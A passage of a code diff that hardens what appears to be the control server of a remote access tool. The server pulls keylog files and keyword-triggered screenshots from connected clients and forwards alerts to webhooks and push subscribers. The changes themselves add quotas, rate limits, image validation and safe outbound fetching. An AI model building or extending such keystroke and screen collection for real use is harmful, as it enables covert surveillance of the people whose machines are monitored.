(!shouldArchiveForClient(clientId)) return; - const safeMeta = meta ?? getPendingMeta(clientId, filename); + const normalized = normalizeMeta({ name: filename, size: 0, date: "" }); + if (!normalized || normalized.name !== filename) return; + const safeMeta = takePendingMeta(clientId, filename); + if (!safeMeta) { + logger.warn(`[keylog-archive] ignored unsolicited content for ${clientId}/${filename}`); + return; + } + const maxFileBytes = Math.max(1, getConfig().inputArchive.maxFileBytes); + const encodedBytes = Buffer.byteLength(encodedContent, "utf8"); + if (safeMeta.size > maxFileBytes || encodedBytes > maxFileBytes) { + logger.warn(`[keylog-archive] rejected oversized content for ${clientId}/${filename}`); + return; + } const decoded = rot13(String(encodedContent || "")); const now = Date.now(); - const size = safeMeta?.size ?? encodedContent.length; - const modifiedAt = safeMeta?.modifiedAt ?? null; + const size = encodedBytes; + const modifiedAt = safeMeta.modifiedAt; - db.prepare( - `INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content) - VALUES (?, ?, ?, ?, ?, ?) - ON CONFLICT(client_id, filename) DO UPDATE SET - size = excluded.size, - modified_at = excluded.modified_at, - retrieved_at = excluded.retrieved_at, - content = excluded.content`, - ).run(clientId, filename, size, modifiedAt, now, decoded); - - const row = db - .prepare("SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?") - .get(clientId, filename) as { id: number; client_id: string; filename: string; content: string } | undefined; - if (row) rebuildArchiveFts(row); - pendingFileMeta.get(clientId)?.delete(filename); + if (!storeArchivedKeylog({ + clientId, + filename, + size, + modifiedAt, + retrievedAt: now, + content: decoded, + })) { + logger.warn(`[keylog-archive] rejected ${clientId}/${filename}: archive quota exceeded`); + return; + } } export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: ServerWebSocket): void { @@ -100,26 +415,44 @@ export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: if (!shouldArchiveForClient(clientId)) return; if (payload.type === "keylog_file_list") { - const files = Array.isArray(payload.files) ? payload.files.map(normalizeMeta).filter(Boolean) as KeylogFileMeta[] : []; + if (!consumeArchiveMessageRate(clientId, "list")) { + logger.warn(`[keylog-archive] ignored excessive file lists from ${clientId}`); + return; + } + const files = Array.isArray(payload.files) + ? payload.files.slice(0, MAX_FILES_PER_LIST).map(normalizeMeta).filter(Boolean) as KeylogFileMeta[] + : []; if (files.length === 0 || !ws) return; const maxFileBytes = getConfig().inputArchive.maxFileBytes; const existingRows = db - .prepare("SELECT filename, size, modified_at as modifiedAt FROM keylog_archive_files WHERE client_id = ?") - .all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null }>; + .prepare( + `SELECT filename, ${KEYLOG_CONTENT_BYTES_SQL} as size, modified_at as modifiedAt + FROM keylog_archive_files WHERE client_id = ? + ORDER BY retrieved_at DESC LIMIT ?`, + ) + .all(clientId, MAX_ARCHIVE_FILES_PER_CLIENT) as Array<{ filename: string; size: number; modifiedAt: number | null }>; + const totals = db.prepare( + `SELECT COUNT(*) AS files, COALESCE(SUM(${KEYLOG_CONTENT_BYTES_SQL}), 0) AS bytes + FROM keylog_archive_files WHERE client_id = ?`, + ).get(clientId) as { files: number; bytes: number }; const existing = new Map(existingRows.map((row) => [row.filename, row])); - let pending = pendingFileMeta.get(clientId); - if (!pending) { - pending = new Map(); - pendingFileMeta.set(clientId, pending); - } + const pending = new Map(); let requested = 0; + let projectedFiles = Number(totals.files || 0); + let projectedBytes = Number(totals.bytes || 0); for (const file of files) { if (file.size > maxFileBytes) continue; const old = existing.get(file.name); const changed = !old || old.size !== file.size || (file.modifiedAt !== null && old.modifiedAt !== file.modifiedAt); if (!changed || requested >= MAX_RETRIEVES_PER_LIST) continue; + const nextFiles = projectedFiles + (old ? 0 : 1); + const nextBytes = projectedBytes - Number(old?.size || 0) + file.size; + if ( + nextFiles > MAX_ARCHIVE_FILES_PER_CLIENT + || nextBytes > MAX_ARCHIVE_BYTES_PER_CLIENT + ) continue; pending.set(file.name, file); try { ws.send(encodeMessage({ @@ -129,15 +462,24 @@ export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: payload: { filename: file.name }, } as any)); requested++; + projectedFiles = nextFiles; + projectedBytes = nextBytes; } catch (err) { logger.warn(`[keylog-archive] failed to request ${clientId}/${file.name}: ${(err as Error).message}`); } } + if (pending.size > 0) setPendingFiles(clientId, pending); + else pendingFileMeta.delete(clientId); return; } if (payload.type === "keylog_file_content" && typeof payload.filename === "string") { - archiveKeylogContent(clientId, payload.filename, String(payload.content || "")); + if (typeof payload.content !== "string") return; + if (!consumeArchiveMessageRate(clientId, "content")) { + logger.warn(`[keylog-archive] ignored excessive file content from ${clientId}`); + return; + } + archiveKeylogContent(clientId, payload.filename, payload.content); } } @@ -159,12 +501,14 @@ export function dispatchKeylogArchiveSync(clientId: string, ws: ServerWebSocket< export function listArchivedKeylogs(clientId: string): Array<{ name: string; size: number; date: string; archived: true; retrievedAt: number }> { const rows = db .prepare( - `SELECT filename, size, modified_at as modifiedAt, retrieved_at as retrievedAt + `SELECT filename, ${KEYLOG_CONTENT_BYTES_SQL} as size, + modified_at as modifiedAt, retrieved_at as retrievedAt FROM keylog_archive_files WHERE client_id = ? - ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC`, + ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC + LIMIT ?`, ) - .all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>; + .all(clientId, MAX_ARCHIVE_FILES_PER_CLIENT) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>; return rows.map((row) => ({ name: row.filename, diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts index b549b4b..33fb016 100644 --- a/Overlord-Server/src/server/notification-delivery.ts +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -2,7 +2,7 @@ import { v4 as uuidv4 } from "uuid"; import { getNotificationScreenshot, saveNotificationScreenshot, - updateNotificationScreenshotId, + MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES, getAllPushSubscriptions, deletePushSubscription, type NotificationScreenshotRecord, @@ -10,6 +10,7 @@ import { } from "../db"; import { logger } from "../logger"; import { sendWebPush } from "./web-push"; +import { fetchPublicHttpResponse } from "./url-security"; export type NotificationRecord = { id: string; @@ -58,6 +59,225 @@ export const DEFAULT_TELEGRAM_TEMPLATE = const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000; const NOTIFICATION_SCREENSHOT_POLL_MS = 250; +export const MAX_NOTIFICATION_SCREENSHOT_BYTES = MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES; +export const MAX_NOTIFICATION_SCREENSHOT_DIMENSION = 32_768; +// Keep worst-case browser RGBA decode near 32 MiB per image. Compressed byte +// limits alone do not protect against solid-color PNG/WebP decompression bombs. +export const MAX_NOTIFICATION_SCREENSHOT_PIXELS = 512 * 1024 * 1024; + +function boundedPositiveIntegerEnv(name: string, fallback: number, maximum: number): number { + const parsed = Number(process.env[name]); + if (!Number.isFinite(parsed) || parsed <= 0) return fallback; + return Math.min(maximum, Math.max(1, Math.floor(parsed))); +} + +export const WEB_PUSH_DELIVERY_CONCURRENCY = boundedPositiveIntegerEnv( + "OVERLORD_WEB_PUSH_DELIVERY_CONCURRENCY", + 8, + 64, +); +export const WEB_PUSH_DELIVERY_BATCH_SIZE = boundedPositiveIntegerEnv( + "OVERLORD_WEB_PUSH_DELIVERY_BATCH_SIZE", + 100, + 1_000, +); + +/** + * Settle every task while keeping both the active promise count and each + * materialized batch bounded. This preserves allSettled-style fan-out without + * creating one live promise per stored subscription. + */ +export async function settleInBoundedBatches( + items: readonly T[], + task: (item: T) => Promise, + options: { + concurrency?: number; + batchSize?: number; + onError?: (error: unknown, item: T) => void; + } = {}, +): Promise { + const requestedConcurrency = Number(options.concurrency ?? WEB_PUSH_DELIVERY_CONCURRENCY); + const requestedBatchSize = Number(options.batchSize ?? WEB_PUSH_DELIVERY_BATCH_SIZE); + const concurrency = Number.isFinite(requestedConcurrency) + ? Math.max(1, Math.min(64, Math.floor(requestedConcurrency))) + : WEB_PUSH_DELIVERY_CONCURRENCY; + const batchSize = Number.isFinite(requestedBatchSize) + ? Math.max(1, Math.min(1_000, Math.floor(requestedBatchSize))) + : WEB_PUSH_DELIVERY_BATCH_SIZE; + + for (let batchStart = 0; batchStart < items.length; batchStart += batchSize) { + const batch = items.slice(batchStart, batchStart + batchSize); + let nextIndex = 0; + const workers = Array.from( + { length: Math.min(concurrency, batch.length) }, + async () => { + while (nextIndex < batch.length) { + const item = batch[nextIndex++]; + try { + await task(item); + } catch (error) { + try { + options.onError?.(error, item); + } catch { + // Delivery remains best-effort even if diagnostic logging fails. + } + } + } + }, + ); + await Promise.all(workers); + } +} + +export type ValidatedNotificationScreenshot = { + bytes: Uint8Array; + format: "jpeg" | "png" | "webp"; + width?: number; + height?: number; +}; + +function normalizeScreenshotDimension(value: unknown): number | undefined { + const parsed = Number(value); + if (!Number.isSafeInteger(parsed) || parsed <= 0 || parsed > MAX_NOTIFICATION_SCREENSHOT_DIMENSION) { + return undefined; + } + return parsed; +} + +function screenshotDimensionsAllowed(width: number, height: number): boolean { + return Number.isInteger(width) + && Number.isInteger(height) + && width > 0 + && height > 0 + && width <= MAX_NOTIFICATION_SCREENSHOT_DIMENSION + && height <= MAX_NOTIFICATION_SCREENSHOT_DIMENSION + && width * height <= MAX_NOTIFICATION_SCREENSHOT_PIXELS; +} + +function parsePngScreenshot(buf: Buffer): { width: number; height: number } | null { + if (buf.length < 45 || !buf.subarray(0, 8).equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))) return null; + let offset = 8; + let dimensions: { width: number; height: number } | null = null; + let sawData = false; + while (offset + 12 <= buf.length) { + const length = buf.readUInt32BE(offset); + const end = offset + 12 + length; + if (end > buf.length) return null; + const type = buf.subarray(offset + 4, offset + 8).toString("ascii"); + if (type === "acTL" || type === "fcTL" || type === "fdAT") return null; + if (offset === 8) { + if (type !== "IHDR" || length !== 13) return null; + dimensions = { width: buf.readUInt32BE(offset + 8), height: buf.readUInt32BE(offset + 12) }; + } else if (type === "IDAT") { + sawData = true; + } else if (type === "IEND") { + return length === 0 && end === buf.length && sawData ? dimensions : null; + } + offset = end; + } + return null; +} + +function parseJpegScreenshot(buf: Buffer): { width: number; height: number } | null { + if (buf.length < 16 || buf[0] !== 0xff || buf[1] !== 0xd8 || buf[buf.length - 2] !== 0xff || buf[buf.length - 1] !== 0xd9) return null; + let offset = 2; + while (offset + 4 <= buf.length - 2) { + if (buf[offset] !== 0xff) return null; + while (offset < buf.length && buf[offset] === 0xff) offset += 1; + const marker = buf[offset++]; + if (marker === 0xd8 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd7)) continue; + if (offset + 2 > buf.length) return null; + const length = buf.readUInt16BE(offset); + if (length < 2 || offset + length > buf.length) return null; + const isFrame = marker >= 0xc0 && marker <= 0xcf && marker !== 0xc4 && marker !== 0xc8 && marker !== 0xcc; + if (isFrame) { + if (length < 8) return null; + return { width: buf.readUInt16BE(offset + 5), height: buf.readUInt16BE(offset + 3) }; + } + if (marker === 0xda) return null; + offset += length; + } + return null; +} + +function parseWebpScreenshot(buf: Buffer): { width: number; height: number } | null { + if (buf.length < 20 || buf.subarray(0, 4).toString("ascii") !== "RIFF" || buf.readUInt32LE(4) + 8 !== buf.length || buf.subarray(8, 12).toString("ascii") !== "WEBP") return null; + let offset = 12; + let dimensions: { width: number; height: number } | null = null; + while (offset + 8 <= buf.length) { + const type = buf.subarray(offset, offset + 4).toString("ascii"); + const length = buf.readUInt32LE(offset + 4); + const data = offset + 8; + const end = data + length; + if (end > buf.length || type === "ANIM" || type === "ANMF") return null; + if (type === "VP8 " && length >= 10 && buf[data + 3] === 0x9d && buf[data + 4] === 0x01 && buf[data + 5] === 0x2a) { + dimensions ??= { width: buf.readUInt16LE(data + 6) & 0x3fff, height: buf.readUInt16LE(data + 8) & 0x3fff }; + } else if (type === "VP8L" && length >= 5 && buf[data] === 0x2f) { + const packed = buf.readUInt32LE(data + 1); + dimensions ??= { width: (packed & 0x3fff) + 1, height: ((packed >>> 14) & 0x3fff) + 1 }; + } else if (type === "VP8X" && length >= 10) { + if ((buf[data] & 0x02) !== 0) return null; + dimensions ??= { + width: 1 + buf[data + 4] + (buf[data + 5] << 8) + (buf[data + 6] << 16), + height: 1 + buf[data + 7] + (buf[data + 8] << 8) + (buf[data + 9] << 16), + }; + } + offset = end + (length % 2); + } + return offset === buf.length ? dimensions : null; +} + +export function validateNotificationScreenshotPayload( + payload: any, +): ValidatedNotificationScreenshot | null { + let bytes: Uint8Array | null = null; + if (payload?.data instanceof Uint8Array) { + bytes = new Uint8Array( + payload.data.buffer, + payload.data.byteOffset, + payload.data.byteLength, + ); + } else if (payload?.data instanceof ArrayBuffer) { + bytes = new Uint8Array(payload.data); + } else if (ArrayBuffer.isView(payload?.data)) { + bytes = new Uint8Array( + payload.data.buffer, + payload.data.byteOffset, + payload.data.byteLength, + ); + } + + if (!bytes || bytes.byteLength === 0 || bytes.byteLength > MAX_NOTIFICATION_SCREENSHOT_BYTES) { + return null; + } + + const rawFormat = typeof payload?.format === "string" ? payload.format.toLowerCase() : "jpeg"; + const format = rawFormat === "jpg" ? "jpeg" : rawFormat; + if (format !== "jpeg" && format !== "png" && format !== "webp") { + return null; + } + + const buf = Buffer.from(bytes.buffer, bytes.byteOffset, bytes.byteLength); + const dimensions = format === "png" + ? parsePngScreenshot(buf) + : format === "webp" + ? parseWebpScreenshot(buf) + : parseJpegScreenshot(buf); + if (!dimensions || !screenshotDimensionsAllowed(dimensions.width, dimensions.height)) return null; + const reportedWidth = normalizeScreenshotDimension(payload?.width); + const reportedHeight = normalizeScreenshotDimension(payload?.height); + if ( + (payload?.width !== undefined && reportedWidth !== dimensions.width) + || (payload?.height !== undefined && reportedHeight !== dimensions.height) + ) return null; + + return { + bytes, + format, + width: dimensions.width, + height: dimensions.height, + }; +} export function isPrivateOrInternalHostname(hostname: string): boolean { const h = hostname.toLowerCase(); @@ -156,21 +376,25 @@ export function storeNotificationScreenshot( width?: number, height?: number, ): void { - if (!bytes || bytes.length === 0) return; + const validated = validateNotificationScreenshotPayload({ data: bytes, format, width, height }); + if (!validated) return; const screenshotId = uuidv4(); - saveNotificationScreenshot({ + const saved = saveNotificationScreenshot({ id: screenshotId, notificationId: pending.notificationId, clientId: pending.clientId, ts: pending.ts, - format, - width, - height, - bytes, + format: validated.format, + width: validated.width, + height: validated.height, + bytes: validated.bytes, }); - - updateNotificationScreenshotId(pending.notificationId, screenshotId); + if (!saved) { + logger.warn( + `[notify] screenshot was not stored due to a missing notification, duplicate result, or storage quota notification=${pending.notificationId}`, + ); + } } async function deliverToUserWebhook( @@ -190,12 +414,6 @@ async function deliverToUserWebhook( return; } - const hostname = parsed.hostname.toLowerCase(); - if (isPrivateOrInternalHostname(hostname)) { - logger.warn(`[notify] blocked webhook to private/internal address: ${hostname}`); - return; - } - try { const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname); if (isDiscord) { @@ -227,11 +445,11 @@ async function deliverToUserWebhook( new Blob([screenshot.bytes as any], { type: meta.contentType }), filename, ); - await fetch(url, { method: "POST", body: form }); + await fetchPublicHttpResponse(url, { method: "POST", body: form }); return; } - await fetch(url, { + await fetchPublicHttpResponse(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), @@ -240,7 +458,7 @@ async function deliverToUserWebhook( } const body = buildWebhookBody(target, record); - await fetch(url, { + await fetchPublicHttpResponse(url, { method: "POST", headers: { "Content-Type": "application/json" }, body, @@ -345,21 +563,26 @@ async function deliverWebPushToAll( url: "/notifications", }); - await Promise.allSettled( - subs - .filter((sub) => allowedUserIds.has(sub.userId)) - .map(async (sub) => { - const result = await sendWebPush( - { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } }, - payload, - ); - if (result.gone) { - deletePushSubscription(sub.endpoint); - logger.info(`[web-push] removed gone subscription for user ${sub.userId}`); - } else if (!result.success) { - logger.warn(`[web-push] delivery failed for user ${sub.userId}: ${result.error}`); - } - }), + const eligibleSubscriptions = subs.filter((sub) => allowedUserIds.has(sub.userId)); + await settleInBoundedBatches( + eligibleSubscriptions, + async (sub) => { + const result = await sendWebPush( + { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } }, + payload, + ); + if (result.gone) { + deletePushSubscription(sub.endpoint); + logger.info(`[web-push] removed gone subscription for user ${sub.userId}`); + } else if (!result.success) { + logger.warn(`[web-push] delivery failed for user ${sub.userId}: ${result.error}`); + } + }, + { + onError: (error, sub) => { + logger.warn(`[web-push] delivery threw for user ${sub.userId}`, error); + }, + }, ); } @@ -398,8 +621,9 @@ export async function deliverWebPushClientEvent( url: dest, }); - await Promise.allSettled( - subs.map(async (sub) => { + await settleInBoundedBatches( + subs, + async (sub) => { const role = getUserRole(sub.userId); if (!role) return; if (isClientEventPushEnabled && !isClientEventPushEnabled(sub.userId)) return; @@ -423,7 +647,12 @@ export async function deliverWebPushClientEvent( if (result.gone) { deletePushSubscription(sub.endpoint); } - }), + }, + { + onError: (error, sub) => { + logger.warn(`[web-push] client-event delivery threw for user ${sub.userId}`, error); + }, + }, ); } @@ -434,7 +663,15 @@ export async function deliverNotificationWithScreenshot( const screenshot = await waitForNotificationScreenshot(record.id); const targets = getUserDeliveryTargets(record.clientId); await Promise.allSettled([ - ...targets.map((t) => deliverToUser(t, record, screenshot)), + settleInBoundedBatches( + targets, + async (target) => deliverToUser(target, record, screenshot), + { + onError: (error, target) => { + logger.warn(`[notify] delivery threw for user ${target.username}`, error); + }, + }, + ), deliverWebPushToAll(record, getUserDeliveryTargets), ]); } @@ -470,8 +707,9 @@ export async function deliverClientEventToExternalChannels( const label = CLIENT_EVENT_LABELS[event] || "Client Event"; const ts = Date.now(); - await Promise.allSettled( - targets.map(async (target) => { + await settleInBoundedBatches( + targets, + async (target) => { if (target.webhookEnabled && target.clientEventWebhook && target.webhookUrl) { const url = target.webhookUrl.trim(); if (!url) return; @@ -501,13 +739,13 @@ export async function deliverClientEventToExternalChannels( timestamp: new Date(ts).toISOString(), }; const payload = { content: label, embeds: [embed] }; - await fetch(url, { + await fetchPublicHttpResponse(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), }); } else { - await fetch(url, { + await fetchPublicHttpResponse(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ @@ -553,7 +791,12 @@ export async function deliverClientEventToExternalChannels( } } } - }), + }, + { + onError: (error, target) => { + logger.warn(`[notify] client event delivery threw for user ${target.username}`, error); + }, + }, ); } diff --git a/Overlord-Server/src/server/notification-security.test.ts b/Overlord-Server/src/server/notification-security.test.ts new file mode 100644 index 0000000..1c6f992 --- /dev/null +++ b/Overlord-Server/src/server/notification-security.test.ts @@ -0,0 +1,406 @@ +import { describe, expect, test } from "bun:test"; +import { + MAX_NOTIFICATION_SCREENSHOT_BYTES, + validateNotificationScreenshotPayload, +} from "./notification-delivery"; +import { + MAX_BUFFERED_PLUGIN_EVENT_BYTES_GLOBAL, + MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_CLIENT, + MAX_BUFFERED_PLUGIN_EVENT_BYTES_PER_KEY, + MAX_PLUGIN_EVENT_PAYLOAD_BYTES, + MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE, + MAX_PENDING_NOTIFICATION_SCREENSHOTS, + createNotificationPluginHandlers, + hasPendingNotificationScreenshotCapacity, + hasPluginUIEventBufferCapacity, + isPlausibleChatAttachmentEventPayload, + normalizeClientNotificationPayload, + type PendingNotificationScreenshot, +} from "./ws-notifications-plugin"; + +function createPluginEventHarness(enabledPluginIds = ["sample", "chat"]) { + const pluginLoadedByClient = new Map>(); + const pluginLoadingByClient = new Map>(); + const forwarded: Array<{ clientId: string; pluginId: string; event: string; payload: unknown }> = []; + const pluginState = { + enabled: Object.fromEntries(enabledPluginIds.map((id) => [id, true])), + lastError: {} as Record, + }; + let saveCount = 0; + const handlers = createNotificationPluginHandlers({ + notificationRate: new Map(), + pendingNotificationScreenshots: new Map(), + pluginLoadedByClient, + pluginLoadingByClient, + pendingPluginEvents: new Map(), + pluginState, + getNotificationConfig: () => ({}), + canUserAccessClient: () => false, + isClientOwnedByUser: () => false, + getUserRole: () => undefined, + isClientNotificationsMuted: () => false, + storeNotificationScreenshot: () => {}, + deliverNotificationWithScreenshot: async () => {}, + getDeliveryTargetsForClientEvent: () => [], + savePluginState: async () => { saveCount += 1; }, + forwardPluginEventToRuntime: (clientId, pluginId, event, payload) => { + forwarded.push({ clientId, pluginId, event, payload }); + }, + }); + return { + handlers, + forwarded, + pluginLoadedByClient, + pluginLoadingByClient, + pluginState, + getSaveCount: () => saveCount, + }; +} + +describe("client notification input hardening", () => { + test("bounds and normalizes untrusted notification fields", () => { + const normalized = normalizeClientNotificationPayload({ + title: ` hello\n${"x".repeat(600)} `, + keyword: "k".repeat(200), + process: "p".repeat(400), + processPath: "z".repeat(3_000), + pid: -1, + category: "unexpected", + ts: Number.MAX_SAFE_INTEGER, + }); + + expect(normalized).not.toBeNull(); + expect(normalized!.title.length).toBe(512); + expect(normalized!.title.includes("\n")).toBe(false); + expect(normalized!.keyword?.length).toBe(128); + expect(normalized!.process?.length).toBe(256); + expect(normalized!.processPath?.length).toBe(2_048); + expect(normalized!.pid).toBeUndefined(); + expect(normalized!.category).toBe("active_window"); + expect(normalized as any).not.toHaveProperty("ts"); + }); + + test("rejects empty titles", () => { + expect(normalizeClientNotificationPayload({ title: "\u0000\n" })).toBeNull(); + }); +}); + +describe("notification screenshot input hardening", () => { + test("accepts supported bounded images and preserves typed-array bounds", () => { + const jpeg = new Uint8Array([ + 0xff, 0xd8, + 0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x11, 0x00, + 0xff, 0xd9, + ]); + const backing = new Uint8Array(jpeg.length + 2); + backing.set(jpeg, 1); + const validated = validateNotificationScreenshotPayload({ + data: backing.subarray(1, 1 + jpeg.length), + format: "JPG", + width: 1, + height: 1, + }); + + expect(validated?.format).toBe("jpeg"); + expect(Array.from(validated?.bytes ?? [])).toEqual(Array.from(jpeg)); + expect(validated?.width).toBe(1); + expect(validated?.height).toBe(1); + }); + + test("rejects oversized or unsupported screenshot payloads", () => { + expect( + validateNotificationScreenshotPayload({ + data: new Uint8Array(MAX_NOTIFICATION_SCREENSHOT_BYTES + 1), + format: "jpeg", + }), + ).toBeNull(); + expect( + validateNotificationScreenshotPayload({ data: new Uint8Array([1]), format: "svg" }), + ).toBeNull(); + expect( + validateNotificationScreenshotPayload({ data: new Uint8Array([1, 2, 3]), format: "jpeg" }), + ).toBeNull(); + }); + + test("rejects tiny compressed images with unsafe decoded dimensions", () => { + const png = Buffer.alloc(57); + Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]).copy(png, 0); + png.writeUInt32BE(13, 8); + png.write("IHDR", 12, "ascii"); + png.writeUInt32BE(32_768, 16); + png.writeUInt32BE(32_768, 20); + png.writeUInt32BE(0, 33); + png.write("IDAT", 37, "ascii"); + png.writeUInt32BE(0, 45); + png.write("IEND", 49, "ascii"); + + expect(validateNotificationScreenshotPayload({ data: png, format: "png" })).toBeNull(); + }); + + test("rejects animated PNG envelopes", () => { + const png = Buffer.alloc(57); + Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]).copy(png, 0); + png.writeUInt32BE(13, 8); + png.write("IHDR", 12, "ascii"); + png.writeUInt32BE(1, 16); + png.writeUInt32BE(1, 20); + png.writeUInt32BE(0, 33); + png.write("IDAT", 37, "ascii"); + png.writeUInt32BE(0, 45); + png.write("IEND", 49, "ascii"); + const animationControl = Buffer.alloc(20); + animationControl.writeUInt32BE(8, 0); + animationControl.write("acTL", 4, "ascii"); + animationControl.writeUInt32BE(2, 8); + const apng = Buffer.concat([png.subarray(0, 33), animationControl, png.subarray(33)]); + + expect(validateNotificationScreenshotPayload({ data: apng, format: "png" })).toBeNull(); + }); + + test("bounds pending screenshot requests globally and per client", () => { + const now = Date.now(); + const sharedTimeout = setTimeout(() => {}, 60_000); + const pending = new Map(); + try { + for (let i = 0; i < 2; i += 1) { + pending.set(`same-client-${i}`, { + notificationId: `notification-${i}`, + clientId: "client-a", + ts: now, + timeout: sharedTimeout, + }); + } + expect(hasPendingNotificationScreenshotCapacity(pending, "client-a", now)).toBe(false); + expect(hasPendingNotificationScreenshotCapacity(pending, "client-b", now)).toBe(true); + + pending.clear(); + for (let i = 0; i < MAX_PENDING_NOTIFICATION_SCREENSHOTS; i += 1) { + pending.set(`global-${i}`, { + notificationId: `notification-${i}`, + clientId: `client-${i}`, + ts: now, + timeout: sharedTimeout, + }); + } + expect(hasPendingNotificationScreenshotCapacity(pending, "new-client", now)).toBe(false); + } finally { + clearTimeout(sharedTimeout); + } + }); + + test("prunes expired pending screenshot requests before applying caps", () => { + const now = Date.now(); + const timeout = setTimeout(() => {}, 60_000); + const pending = new Map([[ + "expired", + { + notificationId: "old-notification", + clientId: "client-a", + ts: now - 31_000, + timeout, + }, + ]]); + + expect(hasPendingNotificationScreenshotCapacity(pending, "client-a", now)).toBe(true); + expect(pending.size).toBe(0); + clearTimeout(timeout); + }); +}); + +describe("legacy client plugin event compatibility", () => { + test("accepts plugin lifecycle and ordinary events without server-side trust state", () => { + const harness = createPluginEventHarness([]); + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample-c", + event: "ready", + payload: { ready: true }, + }); + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample-c", + event: "loaded", + }); + + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready", "loaded"]); + expect(harness.pluginLoadedByClient.get("client-a")?.has("sample-c")).toBe(true); + }); +}); + +// Retained as executable documentation of the stricter policy that was +// deliberately reversed because it broke established third-party plugins. +/* +describe("replaced client plugin event hardening", () => { + test("only accepts loaded acknowledgements for server-initiated plugin loads", () => { + const harness = createPluginEventHarness(); + + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "loaded", + }); + expect(harness.pluginLoadedByClient.get("client-a")).toBeUndefined(); + expect(harness.forwarded).toHaveLength(0); + + harness.handlers.markPluginLoading("client-a", "sample"); + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "ready", + payload: { ready: true }, + }); + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready"]); + + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "loaded", + }); + expect(harness.pluginLoadedByClient.get("client-a")?.has("sample")).toBe(true); + expect(harness.pluginLoadingByClient.get("client-a")?.has("sample")).toBe(false); + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready", "loaded"]); + + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "loaded", + }); + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["ready", "loaded"]); + }); + + test("rejects ordinary events until loaded but permits a load failure", () => { + const harness = createPluginEventHarness(); + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "pong", + payload: { ok: true }, + }); + expect(harness.forwarded).toHaveLength(0); + + harness.handlers.markPluginLoading("client-a", "sample"); + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "error", + error: "load failed", + }); + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["error"]); + expect(harness.pluginLoadingByClient.get("client-a")?.has("sample")).toBe(false); + expect(harness.pluginState.lastError.sample).toBe("load failed"); + expect(harness.getSaveCount()).toBe(1); + }); + + test("ordinary plugin messages cannot mutate or persist error state", () => { + const harness = createPluginEventHarness(); + harness.pluginLoadedByClient.set("client-a", new Set(["sample"])); + + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "pong", + message: "pretend failure", + payload: { ok: true }, + }); + + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["pong"]); + expect(harness.pluginState.lastError.sample).toBeUndefined(); + expect(harness.getSaveCount()).toBe(0); + }); + + test("coalesces repeated changed error state writes from a loaded client", () => { + const harness = createPluginEventHarness(); + harness.pluginLoadedByClient.set("client-a", new Set(["sample"])); + + for (const message of ["failure one", "failure two", "failure three"]) { + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "error", + message, + }); + } + + expect(harness.pluginState.lastError.sample).toBe("failure three"); + expect(harness.getSaveCount()).toBe(1); + }); + + test("uses a small default payload limit with a narrow chat attachment exception", () => { + const harness = createPluginEventHarness(); + harness.pluginLoadedByClient.set("client-a", new Set(["sample", "chat"])); + const aboveDefault = { + name: "image.png", + mime: "image/png", + dataB64: "A".repeat(MAX_PLUGIN_EVENT_PAYLOAD_BYTES + 4), + }; + + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", + event: "echo", + payload: aboveDefault, + }); + expect(harness.forwarded).toHaveLength(0); + + harness.handlers.handlePluginEvent("client-a", { + pluginId: "chat", + event: "chat_attachment", + payload: aboveDefault, + }); + expect(harness.forwarded.map((entry) => entry.event)).toEqual(["chat_attachment"]); + expect(harness.handlers.drainPluginUIEvents("client-a", "chat")).toEqual([]); + + expect(isPlausibleChatAttachmentEventPayload({ + mime: "text/html", + dataB64: "AAAA", + })).toBe(false); + }); + + test("rate limits repeated events per client/plugin key", () => { + const harness = createPluginEventHarness(); + harness.pluginLoadedByClient.set("client-a", new Set(["sample"])); + for (let i = 0; i < MAX_PLUGIN_EVENTS_PER_KEY_PER_MINUTE + 5; i += 1) { + harness.handlers.handlePluginEvent("client-a", { + pluginId: "sample", 